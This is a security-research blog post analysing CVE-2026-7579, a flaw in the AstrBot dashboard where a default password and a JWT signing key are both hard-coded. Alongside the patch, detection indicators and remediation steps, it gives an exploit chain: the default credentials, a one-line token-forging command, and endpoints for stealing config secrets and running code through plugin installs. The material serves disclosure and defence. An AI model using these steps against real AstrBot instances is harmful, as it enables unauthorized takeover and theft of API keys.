home intel astrbot-hardcoded-credentials-dashboard-auth-bypass
CVE Analysis 2026-05-01 · 7 min read

CVE-2026-7579: Hard-Coded Credentials in AstrBot Dashboard Auth

AstrBot ≤4.16.0 ships static credentials in auth.py, granting unauthenticated remote access to the management dashboard. No interaction required beyond network reachability.

#hard-coded-credentials#authentication-bypass#dashboard-vulnerability#remote-exploit#cross-platform
Technical mode — for security professionals
▶ Vulnerability overview — CVE-2026-7579 · Vulnerability
ATTACKERCross-platformVULNERABILITYCVE-2026-7579HIGHSYSTEM COMPROMISEDNo confirmed exploits

Vulnerability Overview

CVE-2026-7579 is a hard-coded credential vulnerability in AstrBot ≤ 4.16.0, a multi-platform LLM bot framework maintained by AstrBotDevs. The affected component is the web dashboard's authentication handler located at astrbot/dashboard/routes/auth.py. A remote attacker with network access to the dashboard port can authenticate without legitimate credentials, gaining full administrative control over the bot instance, its connected LLM providers, plugins, and underlying host configuration.

The vendor was notified prior to disclosure and did not respond. The exploit is publicly known. CVSS 7.3 (HIGH) reflects network-reachable attack surface with no authentication prerequisite and low complexity.

Affected Component

AstrBot exposes an administrative dashboard over HTTP, typically bound to 0.0.0.0:6185 by default. The route handler at astrbot/dashboard/routes/auth.py processes POST /api/auth/login requests. Credential validation compares the submitted password against a value resolved at import time — sourced from a constant in configuration bootstrapping code rather than a user-supplied secret.

Affected versions: AstrBot ≤ 4.16.0. All deployment modes (Docker, bare-metal, pip install) are affected because the credential constant ships in the distributed package, not generated at install time.

Root Cause Analysis

The login route compares the submitted password against a default credential constant defined in the configuration module. When a user has never set an explicit password, the comparison always resolves against the hard-coded fallback. The fallback is never invalidated, rotated, or forced to change on first boot.


# astrbot/dashboard/routes/auth.py  (reconstructed, AstrBot <= 4.16.0)

import jwt
import time
from astrbot.core.config.default import DEFAULT_DASHBOARD_PASSWORD  # BUG: static constant
from astrbot.core.config.astrbot_config import AstrBotConfig

SECRET_KEY = "astrbot"   # BUG: hard-coded JWT signing secret

class AuthHandler:
    def __init__(self, config: AstrBotConfig):
        self.config = config

    async def login(self, request):
        body     = await request.json()
        username = body.get("username", "")
        password = body.get("password", "")

        # Resolve stored credential: falls back to module-level constant
        # if the user has never configured a password.
        stored_pw = self.config.get("dashboard", {}).get(
            "password", DEFAULT_DASHBOARD_PASSWORD   # BUG: fallback never invalidated
        )

        # BUG: plain-text comparison; no hashing, no rate-limit, no lockout
        if password == stored_pw:
            token = jwt.encode(
                {"user": username, "exp": time.time() + 86400},
                SECRET_KEY,          # BUG: attacker can forge tokens independently
                algorithm="HS256"
            )
            return {"status": "ok", "token": token}

        return {"status": "error", "message": "invalid credentials"}, 401

# astrbot/core/config/default.py  (reconstructed)

DEFAULT_DASHBOARD_USERNAME = "astrbot"
DEFAULT_DASHBOARD_PASSWORD = "astrbot"   # BUG: shipped in public repository, never rotated
Root cause: auth.py falls back to a module-level constant ("astrbot") for password comparison when no user credential is configured, and signs JWT tokens with a second hard-coded secret, allowing any remote attacker to authenticate or independently forge valid session tokens.

Exploitation Mechanics


EXPLOIT CHAIN — CVE-2026-7579

1. Discover dashboard port: default 6185/tcp; scan or read public docs/Dockerfile.
   nmap -p 6185  OR curl http://:6185/

2. POST /api/auth/login with hard-coded credentials:
   {"username": "astrbot", "password": "astrbot"}

3. Server returns HTTP 200 + signed JWT:
   {"status": "ok", "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}

4. [ALTERNATE] Forge JWT independently using known SECRET_KEY "astrbot":
   python3 -c "import jwt,time; print(jwt.encode(
     {'user':'admin','exp':int(time.time())+86400}, 'astrbot', 'HS256'))"

5. Use token to call privileged API endpoints:
   GET  /api/config          -- read full bot config (API keys, tokens)
   POST /api/config          -- overwrite config (inject malicious LLM endpoint)
   POST /api/plugin/install  -- install arbitrary plugin (RCE via plugin loader)
   GET  /api/logs            -- read runtime logs (credential harvesting)

6. Plugin install endpoint executes arbitrary Python within bot process context,
   yielding OS-level code execution as the user running AstrBot.

Step 4 is independently exploitable even after a victim sets a real password, because SECRET_KEY remains hard-coded; a valid JWT can be minted without ever knowing the user's password.

Memory Layout

This is a logic/credential vulnerability rather than a memory-corruption class. The relevant "layout" is the credential resolution chain in the Python interpreter's object graph at login time:


CREDENTIAL RESOLUTION — runtime object graph

AstrBotConfig dict
  └─ "dashboard"
       └─ "password"  ──► [key present?]
                               │ YES → user-supplied value (correct path)
                               │ NO  → DEFAULT_DASHBOARD_PASSWORD = "astrbot"
                                                    ▲
                          ┌───────────────────────────────────────┐
                          │  astrbot/core/config/default.py       │
                          │  DEFAULT_DASHBOARD_PASSWORD = "astrbot"│  <-- STATIC
                          │  shipped in sdist / Docker image       │
                          └───────────────────────────────────────┘

JWT SIGNING OBJECT
  header  : {"alg": "HS256", "typ": "JWT"}
  payload : {"user": , "exp": now+86400}
  secret  : "astrbot"   <-- STATIC, same across all installs
                ▲
                └── independently forgeable without dashboard access

Patch Analysis


# BEFORE (vulnerable, <= 4.16.0):

SECRET_KEY = "astrbot"

DEFAULT_DASHBOARD_PASSWORD = "astrbot"

stored_pw = self.config.get("dashboard", {}).get(
    "password", DEFAULT_DASHBOARD_PASSWORD
)
if password == stored_pw:
    token = jwt.encode({"user": username, "exp": ...}, SECRET_KEY, "HS256")


# AFTER (recommended patch):
import secrets
import hashlib

# Generate and persist a random secret at first boot; never ship a default.
# Raised as required in config schema — bot refuses to start without it.

def _load_or_generate_secret(config_path: str) -> str:
    """Load JWT secret from config; generate and persist if absent."""
    secret = config.get("dashboard", {}).get("jwt_secret")
    if not secret:
        secret = secrets.token_hex(32)   # 256-bit random, per-install
        config["dashboard"]["jwt_secret"] = secret
        _persist_config(config_path, config)
    return secret

SECRET_KEY = _load_or_generate_secret(CONFIG_PATH)

# Password stored as bcrypt hash; no plain-text comparison.
import bcrypt

stored_hash = self.config.get("dashboard", {}).get("password_hash")
if not stored_hash:
    # No password configured: reject all logins, emit setup warning.
    return {"status": "error", "message": "dashboard password not configured"}, 403

if bcrypt.checkpw(password.encode(), stored_hash.encode()):
    token = jwt.encode({"user": username, "exp": ...}, SECRET_KEY, "HS256")

Two independent fixes are required: (1) eliminate the static fallback credential, and (2) replace the static JWT signing key with a per-install generated secret. Either flaw alone is sufficient for full authentication bypass.

Detection and Indicators

The following patterns indicate active exploitation or a vulnerable deployment:


NETWORK INDICATORS:
  POST /api/auth/login  body contains "password":"astrbot"
  Authorization: Bearer eyJ...  (JWT header=HS256, secret="astrbot" verifies)
  Repeated POST /api/plugin/install from external IP

LOG INDICATORS (astrbot runtime log):
  "[Dashboard] Login successful" from non-local IP with default username
  Plugin installation events not initiated by operator

FILESYSTEM INDICATORS:
  New .py files under astrbot/plugins/ with recent mtime
  Modified astrbot_conf.toml / config.yaml with altered LLM endpoints

VERIFICATION — test if your instance is vulnerable:
  curl -s -X POST http://:6185/api/auth/login \
       -H "Content-Type: application/json" \
       -d '{"username":"astrbot","password":"astrbot"}' | jq .status
  # Returns "ok" on vulnerable instances

Remediation

Immediate actions for operators running AstrBot ≤ 4.16.0:

1. Set an explicit dashboard password in your configuration before exposing the port. Locate dashboard.password in astrbot_conf.toml or the equivalent YAML and replace the default value with a randomly generated secret (≥ 16 chars). Restart the service.

2. Firewall the dashboard port (default 6185/tcp) to trusted source IPs only. The dashboard is an administrative interface and should never be internet-reachable without additional authentication layers.

3. Rotate all secrets accessible via the dashboard — LLM provider API keys, platform tokens, and any credentials visible in GET /api/config — on the assumption that a default-credential instance may have already been accessed.

4. Audit plugin directory for unexpected files. The plugin install API executes arbitrary Python within the bot process; treat any unrecognized plugin as potentially hostile.

5. Upgrade to a version beyond 4.16.0 once the vendor issues a patched release that removes the static fallback and generates per-install JWT secrets. Verify the fix addresses both the credential constant and SECRET_KEY independently.

CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →